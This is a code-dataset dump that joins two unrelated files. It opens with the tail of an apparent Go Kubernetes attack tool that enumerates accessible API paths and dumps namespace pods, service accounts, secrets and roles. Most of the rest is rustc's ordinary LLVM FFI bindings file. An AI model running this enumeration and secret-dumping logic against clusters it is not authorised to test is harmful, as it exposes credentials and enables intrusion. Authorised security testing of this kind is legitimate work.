fmt.Println("[+] got /openapi/v2... attempting to enumerate access")
fmt.Println("[+] Using namespace: " + *nsPtr)
//var out string
jsonMap := jsonData.(map[string]interface{})
pathsMap := jsonMap["paths"].(map[string]interface{})
pathsSlice := make([]string, 0)
fmt.Println("[!] API Paths")
// set the namespace in each path where {namespace} is present
// Ideally we should extract the namespace from the token if it is supplied
// We can add this later.
for k, _ := range pathsMap {
// replace {namespace} with -ns value
// TODO retool this to go into a slice!
pathsSlice = append(pathsSlice, strings.Replace(k, "{namespace}", *nsPtr, 1))
}
res, err := getPaths(*urlPtr, &pathsSlice, &headers)
panicOnErr(err)
parsedPaths = true
for k, v := range res {
if v != 403 {
fmt.Println(k + " -> " + strconv.Itoa(v))
}
}
}
}
if *dumpPtr == true && parsedPaths == true {
/* Try to dump the followoing:
* - /api/v1/namespaces/{namespace}/pods
* - /api/v1/namespaces/{namespace}/serviceaccounts
* - /api/v1/namespaces/{namespace}/secrets
* - /api/v1/namespaces/{namespace}/roles
*/
base := "/api/v1/namespaces/" + *nsPtr
paths := []string{
base + "/pods",
base + "/serviceaccounts",
base + "/secrets",
base + "/roles",
}
for i := range paths {
var jsonData interface{}
url := *urlPtr + paths[i]
_, err := getJson(url, &jsonData, &headers)
panicOnErr(err)
fmt.Println("\n[!] Attempting to dump " + paths[i])
prettyJson, err := json.MarshalIndent(jsonData,"", " ")
panicOnErr(err)
fmt.Println(string(prettyJson))
}
}
}
| 26.041841 | 97 | 0.584512 |
81ae97a80cc170cbd66acc3f0c6cc77ec4e92b85 | 80,138 | rs | Rust | compiler/rustc_codegen_llvm/src/llvm/ffi.rs | wihobbs/rust | 97cde9fe08804a3a5208d77f6870ad7d43f8c9c3 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null | compiler/rustc_codegen_llvm/src/llvm/ffi.rs | wihobbs/rust | 97cde9fe08804a3a5208d77f6870ad7d43f8c9c3 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null | compiler/rustc_codegen_llvm/src/llvm/ffi.rs | wihobbs/rust | 97cde9fe08804a3a5208d77f6870ad7d43f8c9c3 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | null | null | null | #![allow(non_camel_case_types)]
#![allow(non_upper_case_globals)]
use rustc_codegen_ssa::coverageinfo::map as coverage_map;
use super::debuginfo::{
DIArray, DIBasicType, DIBuilder, DICompositeType, DIDerivedType, DIDescriptor, DIEnumerator,
DIFile, DIFlags, DIGlobalVariableExpression, DILexicalBlock, DILocation, DINameSpace,
DISPFlags, DIScope, DISubprogram, DISubrange, DITemplateTypeParameter, DIType, DIVariable,
DebugEmissionKind,
};
use libc::{c_char, c_int, c_uint, size_t};
use libc::{c_ulonglong, c_void};
use std::marker::PhantomData;
use super::RustString;
pub type Bool = c_uint;
pub const True: Bool = 1 as Bool;
pub const False: Bool = 0 as Bool;
#[derive(Copy, Clone, PartialEq)]
#[repr(C)]
#[allow(dead_code)] // Variants constructed by C++.
pub enum LLVMRustResult {
Success,
Failure,
}
// Rust version of the C struct with the same name in rustc_llvm/llvm-wrapper/RustWrapper.cpp.
#[repr(C)]
pub struct LLVMRustCOFFShortExport {
pub name: *const c_char,
pub ordinal_present: bool,
// value of `ordinal` only important when `ordinal_present` is true
pub ordinal: u16,
}
impl LLVMRustCOFFShortExport {
pub fn new(name: *const c_char, ordinal: Option<u16>) -> LLVMRustCOFFShortExport {
LLVMRustCOFFShortExport {
name,
ordinal_present: ordinal.is_some(),
ordinal: ordinal.unwrap_or(0),
}
}
}
/// Translation of LLVM's MachineTypes enum, defined in llvm\include\llvm\BinaryFormat\COFF.h.
///
/// We include only architectures supported on Windows.
#[derive(Copy, Clone, PartialEq)]
#[repr(C)]
pub enum LLVMMachineType {
AMD64 = 0x8664,
I386 = 0x14c,
ARM64 = 0xaa64,
ARM = 0x01c0,
}
/// LLVM's Module::ModFlagBehavior, defined in llvm/include/llvm/IR/Module.h.
///
/// When merging modules (e.g. during LTO), their metadata flags are combined. Conflicts are
/// resolved according to the merge behaviors specified here. Flags differing only in merge
/// behavior are still considered to be in conflict.
///
/// In order for Rust-C LTO to work, we must specify behaviors compatible with Clang. Notably,
/// 'Error' and 'Warning' cannot be mixed for a given flag.
#[derive(Copy, Clone, PartialEq)]
#[repr(C)]
pub enum LLVMModFlagBehavior {
Error = 1,
Warning = 2,
Require = 3,
Override = 4,
Append = 5,
AppendUnique = 6,
Max = 7,
}
// Consts for the LLVM CallConv type, pre-cast to usize.
/// LLVM CallingConv::ID. Should we wrap this?
#[derive(Copy, Clone, PartialEq, Debug)]
#[repr(C)]
pub enum CallConv {
CCallConv = 0,
FastCallConv = 8,
ColdCallConv = 9,
X86StdcallCallConv = 64,
X86FastcallCallConv = 65,
ArmAapcsCallConv = 67,
Msp430Intr = 69,
X86_ThisCall = 70,
PtxKernel = 71,
X86_64_SysV = 78,
X86_64_Win64 = 79,
X86_VectorCall = 80,
X86_Intr = 83,
AvrNonBlockingInterrupt = 84,
AvrInterrupt = 85,
AmdGpuKernel = 91,
}
/// LLVMRustLinkage
#[derive(Copy, Clone, PartialEq)]
#[repr(C)]
pub enum Linkage {
ExternalLinkage = 0,
AvailableExternallyLinkage = 1,
LinkOnceAnyLinkage = 2,
LinkOnceODRLinkage = 3,
WeakAnyLinkage = 4,
WeakODRLinkage = 5,
AppendingLinkage = 6,
InternalLinkage = 7,
PrivateLinkage = 8,
ExternalWeakLinkage = 9,
CommonLinkage = 10,
}
// LLVMRustVisibility
#[repr(C)]
#[derive(Copy, Clone, PartialEq)]
pub enum Visibility {
Default = 0,
Hidden = 1,
Protected = 2,
}
/// LLVMUnnamedAddr
#[repr(C)]
pub enum UnnamedAddr {
No,
Local,
Global,
}
/// LLVMDLLStorageClass
#[derive(Copy, Clone)]
#[repr(C)]
pub enum DLLStorageClass {
#[allow(dead_code)]
Default = 0,
DllImport = 1, // Function to be imported from DLL.
#[allow(dead_code)]
DllExport = 2, // Function to be accessible from DLL.
}
/// Matches LLVMRustAttribute in LLVMWrapper.h
/// Semantically a subset of the C++ enum llvm::Attribute::AttrKind,
/// though it is not ABI compatible (since it's a C++ enum)
#[repr(C)]
#[derive(Copy, Clone, Debug)]
pub enum AttributeKind {
AlwaysInline = 0,
ByVal = 1,
Cold = 2,
InlineHint = 3,
MinSize = 4,
Naked = 5,
NoAlias = 6,
NoCapture = 7,
NoInline = 8,
NonNull = 9,
NoRedZone = 10,
NoReturn = 11,
NoUnwind = 12,
OptimizeForSize = 13,
ReadOnly = 14,
SExt = 15,
StructRet = 16,
UWTable = 17,
ZExt = 18,
InReg = 19,
SanitizeThread = 20,
SanitizeAddress = 21,
SanitizeMemory = 22,
NonLazyBind = 23,
OptimizeNone = 24,
ReturnsTwice = 25,
ReadNone = 26,
InaccessibleMemOnly = 27,
SanitizeHWAddress = 28,
WillReturn = 29,
StackProtectReq = 30,
StackProtectStrong = 31,
StackProtect = 32,
NoUndef = 33,
SanitizeMemTag = 34,
}
/// LLVMIntPredicate
#[derive(Copy, Clone)]
#[repr(C)]
pub enum IntPredicate {
IntEQ = 32,
IntNE = 33,
IntUGT = 34,
IntUGE = 35,
IntULT = 36,
IntULE = 37,
IntSGT = 38,
IntSGE = 39,
IntSLT = 40,
IntSLE = 41,
}
impl IntPredicate {
pub fn from_generic(intpre: rustc_codegen_ssa::common::IntPredicate) -> Self {
match intpre {
rustc_codegen_ssa::common::IntPredicate::IntEQ => IntPredicate::IntEQ,
rustc_codegen_ssa::common::IntPredicate::IntNE => IntPredicate::IntNE,
rustc_codegen_ssa::common::IntPredicate::IntUGT => IntPredicate::IntUGT,
rustc_codegen_ssa::common::IntPredicate::IntUGE => IntPredicate::IntUGE,
rustc_codegen_ssa::common::IntPredicate::IntULT => IntPredicate::IntULT,
rustc_codegen_ssa::common::IntPredicate::IntULE => IntPredicate::IntULE,
rustc_codegen_ssa::common::IntPredicate::IntSGT => IntPredicate::IntSGT,
rustc_codegen_ssa::common::IntPredicate::IntSGE => IntPredicate::IntSGE,
rustc_codegen_ssa::common::IntPredicate::IntSLT => IntPredicate::IntSLT,
rustc_codegen_ssa::common::IntPredicate::IntSLE => IntPredicate::IntSLE,
}
}
}
/// LLVMRealPredicate
#[derive(Copy, Clone)]
#[repr(C)]
pub enum RealPredicate {
RealPredicateFalse = 0,
RealOEQ = 1,
RealOGT = 2,
RealOGE = 3,
RealOLT = 4,
RealOLE = 5,
RealONE = 6,
RealORD = 7,
RealUNO = 8,
RealUEQ = 9,
RealUGT = 10,
RealUGE = 11,
RealULT = 12,
RealULE = 13,
RealUNE = 14,
RealPredicateTrue = 15,
}
impl RealPredicate {
pub fn from_generic(realp: rustc_codegen_ssa::common::RealPredicate) -> Self {
match realp {
rustc_codegen_ssa::common::RealPredicate::RealPredicateFalse => {
RealPredicate::RealPredicateFalse
}
rustc_codegen_ssa::common::RealPredicate::RealOEQ => RealPredicate::RealOEQ,
rustc_codegen_ssa::common::RealPredicate::RealOGT => RealPredicate::RealOGT,
rustc_codegen_ssa::common::RealPredicate::RealOGE => RealPredicate::RealOGE,
rustc_codegen_ssa::common::RealPredicate::RealOLT => RealPredicate::RealOLT,
rustc_codegen_ssa::common::RealPredicate::RealOLE => RealPredicate::RealOLE,
rustc_codegen_ssa::common::RealPredicate::RealONE => RealPredicate::RealONE,
rustc_codegen_ssa::common::RealPredicate::RealORD => RealPredicate::RealORD,
rustc_codegen_ssa::common::RealPredicate::RealUNO => RealPredicate::RealUNO,
rustc_codegen_ssa::common::RealPredicate::RealUEQ => RealPredicate::RealUEQ,
rustc_codegen_ssa::common::RealPredicate::RealUGT => RealPredicate::RealUGT,
rustc_codegen_ssa::common::RealPredicate::RealUGE => RealPredicate::RealUGE,
rustc_codegen_ssa::common::RealPredicate::RealULT => RealPredicate::RealULT,
rustc_codegen_ssa::common::RealPredicate::RealULE => RealPredicate::RealULE,
rustc_codegen_ssa::common::RealPredicate::RealUNE => RealPredicate::RealUNE,
rustc_codegen_ssa::common::RealPredicate::RealPredicateTrue => {
RealPredicate::RealPredicateTrue
}
}
}
}
/// LLVMTypeKind
#[derive(Copy, Clone, PartialEq, Debug)]
#[repr(C)]
pub enum TypeKind {
Void = 0,
Half = 1,
Float = 2,
Double = 3,
X86_FP80 = 4,
FP128 = 5,
PPC_FP128 = 6,
Label = 7,
Integer = 8,
Function = 9,
Struct = 10,
Array = 11,
Pointer = 12,
Vector = 13,
Metadata = 14,
X86_MMX = 15,
Token = 16,
ScalableVector = 17,
BFloat = 18,
X86_AMX = 19,
}
impl TypeKind {
pub fn to_generic(self) -> rustc_codegen_ssa::common::TypeKind {
match self {
TypeKind::Void => rustc_codegen_ssa::common::TypeKind::Void,
TypeKind::Half => rustc_codegen_ssa::common::TypeKind::Half,
TypeKind::Float => rustc_codegen_ssa::common::TypeKind::Float,
TypeKind::Double => rustc_codegen_ssa::common::TypeKind::Double,
TypeKind::X86_FP80 => rustc_codegen_ssa::common::TypeKind::X86_FP80,
TypeKind::FP128 => rustc_codegen_ssa::common::TypeKind::FP128,
TypeKind::PPC_FP128 => rustc_codegen_ssa::common::TypeKind::PPC_FP128,
TypeKind::Label => rustc_codegen_ssa::common::TypeKind::Label,
TypeKind::Integer => rustc_codegen_ssa::common::TypeKind::Integer,
TypeKind::Function => rustc_codegen_ssa::common::TypeKind::Function,
TypeKind::Struct => rustc_codegen_ssa::common::TypeKind::Struct,
TypeKind::Array => rustc_codegen_ssa::common::TypeKind::Array,
TypeKind::Pointer => rustc_codegen_ssa::common::TypeKind::Pointer,
TypeKind::Vector => rustc_codegen_ssa::common::TypeKind::Vector,
TypeKind::Metadata => rustc_codegen_ssa::common::TypeKind::Metadata,
TypeKind::X86_MMX => rustc_codegen_ssa::common::TypeKind::X86_MMX,
TypeKind::Token => rustc_codegen_ssa::common::TypeKind::Token,
TypeKind::ScalableVector => rustc_codegen_ssa::common::TypeKind::ScalableVector,
TypeKind::BFloat => rustc_codegen_ssa::common::TypeKind::BFloat,
TypeKind::X86_AMX => rustc_codegen_ssa::common::TypeKind::X86_AMX,
}
}
}
/// LLVMAtomicRmwBinOp
#[derive(Copy, Clone)]
#[repr(C)]
pub enum AtomicRmwBinOp {
AtomicXchg = 0,
AtomicAdd = 1,
AtomicSub = 2,
AtomicAnd = 3,
AtomicNand = 4,
AtomicOr = 5,
AtomicXor = 6,
AtomicMax = 7,
AtomicMin = 8,
AtomicUMax = 9,
AtomicUMin = 10,
}
impl AtomicRmwBinOp {
pub fn from_generic(op: rustc_codegen_ssa::common::AtomicRmwBinOp) -> Self {
match op {
rustc_codegen_ssa::common::AtomicRmwBinOp::AtomicXchg => AtomicRmwBinOp::AtomicXchg,
rustc_codegen_ssa::common::AtomicRmwBinOp::AtomicAdd => AtomicRmwBinOp::AtomicAdd,
rustc_codegen_ssa::common::AtomicRmwBinOp::AtomicSub => AtomicRmwBinOp::AtomicSub,
rustc_codegen_ssa::common::AtomicRmwBinOp::AtomicAnd => AtomicRmwBinOp::AtomicAnd,
rustc_codegen_ssa::common::AtomicRmwBinOp::AtomicNand => AtomicRmwBinOp::AtomicNand,
rustc_codegen_ssa::common::AtomicRmwBinOp::AtomicOr => AtomicRmwBinOp::AtomicOr,
rustc_codegen_ssa::common::AtomicRmwBinOp::AtomicXor => AtomicRmwBinOp::AtomicXor,
rustc_codegen_ssa::common::AtomicRmwBinOp::AtomicMax => AtomicRmwBinOp::AtomicMax,
rustc_codegen_ssa::common::AtomicRmwBinOp::AtomicMin => AtomicRmwBinOp::AtomicMin,
rustc_codegen_ssa::common::AtomicRmwBinOp::AtomicUMax => AtomicRmwBinOp::AtomicUMax,
rustc_codegen_ssa::common::AtomicRmwBinOp::AtomicUMin => AtomicRmwBinOp::AtomicUMin,
}
}
}
/// LLVMAtomicOrdering
#[derive(Copy, Clone)]
#[repr(C)]
pub enum AtomicOrdering {
#[allow(dead_code)]
NotAtomic = 0,
Unordered = 1,
Monotonic = 2,
// Consume = 3, // Not specified yet.
Acquire = 4,
Release = 5,
AcquireRelease = 6,
SequentiallyConsistent = 7,
}
impl AtomicOrdering {
pub fn from_generic(ao: rustc_codegen_ssa::common::AtomicOrdering) -> Self {
match ao {
rustc_codegen_ssa::common::AtomicOrdering::NotAtomic => AtomicOrdering::NotAtomic,
rustc_codegen_ssa::common::AtomicOrdering::Unordered => AtomicOrdering::Unordered,
rustc_codegen_ssa::common::AtomicOrdering::Monotonic => AtomicOrdering::Monotonic,
rustc_codegen_ssa::common::AtomicOrdering::Acquire => AtomicOrdering::Acquire,
rustc_codegen_ssa::common::AtomicOrdering::Release => AtomicOrdering::Release,
rustc_codegen_ssa::common::AtomicOrdering::AcquireRelease => {
AtomicOrdering::AcquireRelease
}
rustc_codegen_ssa::common::AtomicOrdering::SequentiallyConsistent => {
AtomicOrdering::SequentiallyConsistent
}
}
}
}
/// LLVMRustSynchronizationScope
#[derive(Copy, Clone)]
#[repr(C)]
pub enum SynchronizationScope {
SingleThread,
CrossThread,
}
impl SynchronizationScope {
pub fn from_generic(sc: rustc_codegen_ssa::common::SynchronizationScope) -> Self {
match sc {
rustc_codegen_ssa::common::SynchronizationScope::SingleThread => {
SynchronizationScope::SingleThread
}
rustc_codegen_ssa::common::SynchronizationScope::CrossThread => {
SynchronizationScope::CrossThread
}
}
}
}
/// LLVMRustFileType
#[derive(Copy, Clone)]
#[repr(C)]
pub enum FileType {
AssemblyFile,
ObjectFile,
}
/// LLVMMetadataType
#[derive(Copy, Clone)]
#[repr(C)]
pub enum MetadataType {
MD_dbg = 0,
MD_tbaa = 1,
MD_prof = 2,
MD_fpmath = 3,
MD_range = 4,
MD_tbaa_struct = 5,
MD_invariant_load = 6,
MD_alias_scope = 7,
MD_noalias = 8,
MD_nontemporal = 9,
MD_mem_parallel_loop_access = 10,
MD_nonnull = 11,
MD_type = 19,
MD_noundef = 29,
}
/// LLVMRustAsmDialect
#[derive(Copy, Clone, PartialEq)]
#[repr(C)]
pub enum AsmDialect {
Att,
Intel,
}
/// LLVMRustCodeGenOptLevel
#[derive(Copy, Clone, PartialEq)]
#[repr(C)]
pub enum CodeGenOptLevel {
None,
Less,
Default,
Aggressive,
}
/// LLVMRustPassBuilderOptLevel
#[repr(C)]
pub enum PassBuilderOptLevel {
O0,
O1,
O2,
O3,
Os,
Oz,
}
/// LLVMRustOptStage
#[derive(PartialEq)]
#[repr(C)]
pub enum OptStage {
PreLinkNoLTO,
PreLinkThinLTO,
PreLinkFatLTO,
ThinLTO,
FatLTO,
}
/// LLVMRustSanitizerOptions
#[repr(C)]
pub struct SanitizerOptions {
pub sanitize_address: bool,
pub sanitize_address_recover: bool,
pub sanitize_memory: bool,
pub sanitize_memory_recover: bool,
pub sanitize_memory_track_origins: c_int,
pub sanitize_thread: bool,
pub sanitize_hwaddress: bool,
pub sanitize_hwaddress_recover: bool,
}
/// LLVMRelocMode
#[derive(Copy, Clone, PartialEq)]
#[repr(C)]
pub enum RelocModel {
Static,
PIC,
DynamicNoPic,
ROPI,
RWPI,
ROPI_RWPI,
}
/// LLVMRustCodeModel
#[derive(Copy, Clone)]
#[repr(C)]
pub enum CodeModel {
Tiny,
Small,
Kernel,
Medium,
Large,
None,
}
/// LLVMRustDiagnosticKind
#[derive(Copy, Clone)]
#[repr(C)]
#[allow(dead_code)] // Variants constructed by C++.
pub enum DiagnosticKind {
Other,
InlineAsm,
StackSize,
DebugMetadataVersion,
SampleProfile,
OptimizationRemark,
OptimizationRemarkMissed,
OptimizationRemarkAnalysis,
OptimizationRemarkAnalysisFPCommute,
OptimizationRemarkAnalysisAliasing,
OptimizationRemarkOther,
OptimizationFailure,
PGOProfile,
Linker,
Unsupported,
SrcMgr,
}
/// LLVMRustDiagnosticLevel
#[derive(Copy, Clone)]
#[repr(C)]
#[allow(dead_code)] // Variants constructed by C++.
pub enum DiagnosticLevel {
Error,
Warning,
Note,
Remark,
}
/// LLVMRustArchiveKind
#[derive(Copy, Clone)]
#[repr(C)]
pub enum ArchiveKind {
K_GNU,
K_BSD,
K_DARWIN,
K_COFF,
}
/// LLVMRustPassKind
#[derive(Copy, Clone, PartialEq, Debug)]
#[repr(C)]
#[allow(dead_code)] // Variants constructed by C++.
pub enum PassKind {
Other,
Function,
Module,
}
/// LLVMRustThinLTOData
extern "C" {
pub type ThinLTOData;
}
/// LLVMRustThinLTOBuffer
extern "C" {
pub type ThinLTOBuffer;
}
// LLVMRustModuleNameCallback
pub type ThinLTOModuleNameCallback =
unsafe extern "C" fn(*mut c_void, *const c_char, *const c_char);
/// LLVMRustThinLTOModule
#[repr(C)]
pub struct ThinLTOModule {
pub identifier: *const c_char,
pub data: *const u8,
pub len: usize,
}
/// LLVMThreadLocalMode
#[derive(Copy, Clone)]
#[repr(C)]
pub enum ThreadLocalMode {
NotThreadLocal,
GeneralDynamic,
LocalDynamic,
InitialExec,
LocalExec,
}
/// LLVMRustChecksumKind
#[derive(Copy, Clone)]
#[repr(C)]
pub enum ChecksumKind {
None,
MD5,
SHA1,
SHA256,
}
extern "C" {
type Opaque;
}
#[repr(C)]
struct InvariantOpaque<'a> {
_marker: PhantomData<&'a mut &'a ()>,
_opaque: Opaque,
}
// Opaque pointer types
extern "C" {
pub type Module;
}
extern "C" {
pub type Context;
}
extern "C" {
pub type Type;
}
extern "C" {
pub type Value;
}
extern "C" {
pub type ConstantInt;
}
extern "C" {
pub type Attribute;
}
extern "C" {
pub type Metadata;
}
extern "C" {
pub type BasicBlock;
}
#[repr(C)]
pub struct Builder<'a>(InvariantOpaque<'a>);
extern "C" {
pub type MemoryBuffer;
}
#[repr(C)]
pub struct PassManager<'a>(InvariantOpaque<'a>);
extern "C" {
pub type PassManagerBuilder;
}
extern "C" {
pub type Pass;
}
extern "C" {
pub type TargetMachine;
}
extern "C" {
pub type Archive;
}
#[repr(C)]
pub struct ArchiveIterator<'a>(InvariantOpaque<'a>);
#[repr(C)]
pub struct ArchiveChild<'a>(InvariantOpaque<'a>);
extern "C" {
pub type Twine;
}
extern "C" {
pub type DiagnosticInfo;
}
extern "C" {
pub type SMDiagnostic;
}
#[repr(C)]
pub struct RustArchiveMember<'a>(InvariantOpaque<'a>);
#[repr(C)]
pub struct OperandBundleDef<'a>(InvariantOpaque<'a>);
#[repr(C)]
pub struct Linker<'a>(InvariantOpaque<'a>);
extern "C" {
pub type DiagnosticHandler;
}
pub type DiagnosticHandlerTy = unsafe extern "C" fn(&DiagnosticInfo, *mut c_void);
pub type InlineAsmDiagHandlerTy = unsafe extern "C" fn(&SMDiagnostic, *const c_void, c_uint);
pub mod coverageinfo {
use super::coverage_map;
/// Aligns with [llvm::coverage::CounterMappingRegion::RegionKind](https://github.com/rust-lang/llvm-project/blob/rustc/13.0-2021-09-30/llvm/include/llvm/ProfileData/Coverage/CoverageMapping.h#L209-L230)
#[derive(Copy, Clone, Debug)]
#[repr(C)]
pub enum RegionKind {
/// A CodeRegion associates some code with a counter
CodeRegion = 0,
/// An ExpansionRegion represents a file expansion region that associates
/// a source range with the expansion of a virtual source file, such as
/// for a macro instantiation or #include file.
ExpansionRegion = 1,
/// A SkippedRegion represents a source range with code that was skipped
/// by a preprocessor or similar means.
SkippedRegion = 2,
/// A GapRegion is like a CodeRegion, but its count is only set as the
/// line execution count when its the only region in the line.
GapRegion = 3,
/// A BranchRegion represents leaf-level boolean expressions and is
/// associated with two counters, each representing the number of times the
/// expression evaluates to true or false.
BranchRegion = 4,
}
/// This struct provides LLVM's representation of a "CoverageMappingRegion", encoded into the
/// coverage map, in accordance with the
/// [LLVM Code Coverage Mapping Format](https://github.com/rust-lang/llvm-project/blob/rustc/13.0-2021-09-30/llvm/docs/CoverageMappingFormat.rst#llvm-code-coverage-mapping-format).
/// The struct composes fields representing the `Counter` type and value(s) (injected counter
/// ID, or expression type and operands), the source file (an indirect index into a "filenames
/// array", encoded separately), and source location (start and end positions of the represented
/// code region).
///
/// Matches LLVMRustCounterMappingRegion.
#[derive(Copy, Clone, Debug)]
#[repr(C)]
pub struct CounterMappingRegion {
/// The counter type and type-dependent counter data, if any.
counter: coverage_map::Counter,
/// If the `RegionKind` is a `BranchRegion`, this represents the counter
/// for the false branch of the region.
false_counter: coverage_map::Counter,
/// An indirect reference to the source filename. In the LLVM Coverage Mapping Format, the
/// file_id is an index into a function-specific `virtual_file_mapping` array of indexes
/// that, in turn, are used to look up the filename for this region.
file_id: u32,
/// If the `RegionKind` is an `ExpansionRegion`, the `expanded_file_id` can be used to find
/// the mapping regions created as a result of macro expansion, by checking if their file id
/// matches the expanded file id.
expanded_file_id: u32,
/// 1-based starting line of the mapping region.
start_line: u32,
/// 1-based starting column of the mapping region.
start_col: u32,
/// 1-based ending line of the mapping region.
end_line: u32,
/// 1-based ending column of the mapping region. If the high bit is set, the current
/// mapping region is a gap area.
end_col: u32,
kind: RegionKind,
}
impl CounterMappingRegion {
crate fn code_region(
counter: coverage_map::Counter,
file_id: u32,
start_line: u32,
start_col: u32,
end_line: u32,
end_col: u32,
) -> Self {
Self {
counter,
false_counter: coverage_map::Counter::zero(),
file_id,
expanded_file_id: 0,
start_line,
start_col,
end_line,
end_col,
kind: RegionKind::CodeRegion,
}
}
// This function might be used in the future; the LLVM API is still evolving, as is coverage
// support.
#[allow(dead_code)]
crate fn branch_region(
counter: coverage_map::Counter,
false_counter: coverage_map::Counter,
file_id: u32,
start_line: u32,
start_col: u32,
end_line: u32,
end_col: u32,
) -> Self {
Self {
counter,
false_counter,
file_id,
expanded_file_id: 0,
start_line,
start_col,
end_line,
end_col,
kind: RegionKind::BranchRegion,
}
}
// This function might be used in the future; the LLVM API is still evolving, as is coverage
// support.
#[allow(dead_code)]
crate fn expansion_region(
file_id: u32,
expanded_file_id: u32,
start_line: u32,
start_col: u32,
end_line: u32,
end_col: u32,
) -> Self {
Self {
counter: coverage_map::Counter::zero(),
false_counter: coverage_map::Counter::zero(),
file_id,
expanded_file_id,
start_line,
start_col,
end_line,
end_col,
kind: RegionKind::ExpansionRegion,
}
}
// This function might be used in the future; the LLVM API is still evolving, as is coverage
// support.
#[allow(dead_code)]
crate fn skipped_region(
file_id: u32,
start_line: u32,
start_col: u32,
end_line: u32,
end_col: u32,
) -> Self {
Self {
counter: coverage_map::Counter::zero(),
false_counter: coverage_map::Counter::zero(),
file_id,
expanded_file_id: 0,
start_line,
start_col,
end_line,
end_col,
kind: RegionKind::SkippedRegion,
}
}
// This function might be used in the future; the LLVM API is still evolving, as is coverage
// support.
#[allow(dead_code)]
crate fn gap_region(
counter: coverage_map::Counter,
file_id: u32,
start_line: u32,
start_col: u32,
end_line: u32,
end_col: u32,
) -> Self {
Self {
counter,
false_counter: coverage_map::Counter::zero(),
file_id,
expanded_file_id: 0,
start_line,
start_col,
end_line,
end_col: (1_u32 << 31) | end_col,
kind: RegionKind::GapRegion,
}
}
}
}
pub mod debuginfo {
use super::{InvariantOpaque, Metadata};
use bitflags::bitflags;
#[repr(C)]
pub struct DIBuilder<'a>(InvariantOpaque<'a>);
pub type DIDescriptor = Metadata;
pub type DILocation = Metadata;
pub type DIScope = DIDescriptor;
pub type DIFile = DIScope;
pub type DILexicalBlock = DIScope;
pub type DISubprogram = DIScope;
pub type DINameSpace = DIScope;
pub type DIType = DIDescriptor;
pub type DIBasicType = DIType;
pub type DIDerivedType = DIType;
pub type DICompositeType = DIDerivedType;
pub type DIVariable = DIDescriptor;
pub type DIGlobalVariableExpression = DIDescriptor;
pub type DIArray = DIDescriptor;
pub type DISubrange = DIDescriptor;
pub type DIEnumerator = DIDescriptor;
pub type DITemplateTypeParameter = DIDescriptor;
// These values **must** match with LLVMRustDIFlags!!
bitflags! {
#[repr(transparent)]
#[derive(Default)]
pub struct DIFlags: u32 {
const FlagZero = 0;
const FlagPrivate = 1;
const FlagProtected = 2;
const FlagPublic = 3;
const FlagFwdDecl = (1 << 2);
const FlagAppleBlock = (1 << 3);
const FlagBlockByrefStruct = (1 << 4);
const FlagVirtual = (1 << 5);
const FlagArtificial = (1 << 6);
const FlagExplicit = (1 << 7);
const FlagPrototyped = (1 << 8);
const FlagObjcClassComplete = (1 << 9);
const FlagObjectPointer = (1 << 10);
const FlagVector = (1 << 11);
const FlagStaticMember = (1 << 12);
const FlagLValueReference = (1 << 13);
const FlagRValueReference = (1 << 14);
const FlagExternalTypeRef = (1 << 15);
const FlagIntroducedVirtual = (1 << 18);
const FlagBitField = (1 << 19);
const FlagNoReturn = (1 << 20);
}
}
// These values **must** match with LLVMRustDISPFlags!!
bitflags! {
#[repr(transparent)]
#[derive(Default)]
pub struct DISPFlags: u32 {
const SPFlagZero = 0;
const SPFlagVirtual = 1;
const SPFlagPureVirtual = 2;
const SPFlagLocalToUnit = (1 << 2);
const SPFlagDefinition = (1 << 3);
const SPFlagOptimized = (1 << 4);
const SPFlagMainSubprogram = (1 << 5);
}
}
/// LLVMRustDebugEmissionKind
#[derive(Copy, Clone)]
#[repr(C)]
pub enum DebugEmissionKind {
NoDebug,
FullDebug,
LineTablesOnly,
}
impl DebugEmissionKind {
pub fn from_generic(kind: rustc_session::config::DebugInfo) -> Self {
use rustc_session::config::DebugInfo;
match kind {
DebugInfo::None => DebugEmissionKind::NoDebug,
DebugInfo::Limited => DebugEmissionKind::LineTablesOnly,
DebugInfo::Full => DebugEmissionKind::FullDebug,
}
}
}
}
extern "C" {
pub type ModuleBuffer;
}
pub type SelfProfileBeforePassCallback =
unsafe extern "C" fn(*mut c_void, *const c_char, *const c_char);
pub type SelfProfileAfterPassCallback = unsafe extern "C" fn(*mut c_void);
extern "C" {
pub fn LLVMRustInstallFatalErrorHandler();
pub fn LLVMRustDisableSystemDialogsOnCrash();
// Create and destroy contexts.
pub fn LLVMRustContextCreate(shouldDiscardNames: bool) -> &'static mut Context;
pub fn LLVMContextDispose(C: &'static mut Context);
pub fn LLVMGetMDKindIDInContext(C: &Context, Name: *const c_char, SLen: c_uint) -> c_uint;
// Create modules.
pub fn LLVMModuleCreateWithNameInContext(ModuleID: *const c_char, C: &Context) -> &Module;
pub fn LLVMGetModuleContext(M: &Module) -> &Context;
pub fn LLVMCloneModule(M: &Module) -> &Module;
/// Data layout. See Module::getDataLayout.
pub fn LLVMGetDataLayoutStr(M: &Module) -> *const c_char;
pub fn LLVMSetDataLayout(M: &Module, Triple: *const c_char);
/// See Module::setModuleInlineAsm.
pub fn LLVMSetModuleInlineAsm2(M: &Module, Asm: *const c_char, AsmLen: size_t);
pub fn LLVMRustAppendModuleInlineAsm(M: &Module, Asm: *const c_char, AsmLen: size_t);
/// See llvm::LLVMTypeKind::getTypeID.
pub fn LLVMRustGetTypeKind(Ty: &Type) -> TypeKind;
// Operations on integer types
pub fn LLVMInt1TypeInContext(C: &Context) -> &Type;
pub fn LLVMInt8TypeInContext(C: &Context) -> &Type;
pub fn LLVMInt16TypeInContext(C: &Context) -> &Type;
pub fn LLVMInt32TypeInContext(C: &Context) -> &Type;
pub fn LLVMInt64TypeInContext(C: &Context) -> &Type;
pub fn LLVMIntTypeInContext(C: &Context, NumBits: c_uint) -> &Type;
pub fn LLVMGetIntTypeWidth(IntegerTy: &Type) -> c_uint;
// Operations on real types
pub fn LLVMFloatTypeInContext(C: &Context) -> &Type;
pub fn LLVMDoubleTypeInContext(C: &Context) -> &Type;
// Operations on function types
pub fn LLVMFunctionType<'a>(
ReturnType: &'a Type,
ParamTypes: *const &'a Type,
ParamCount: c_uint,
IsVarArg: Bool,
) -> &'a Type;
pub fn LLVMCountParamTypes(FunctionTy: &Type) -> c_uint;
pub fn LLVMGetParamTypes<'a>(FunctionTy: &'a Type, Dest: *mut &'a Type);
// Operations on struct types
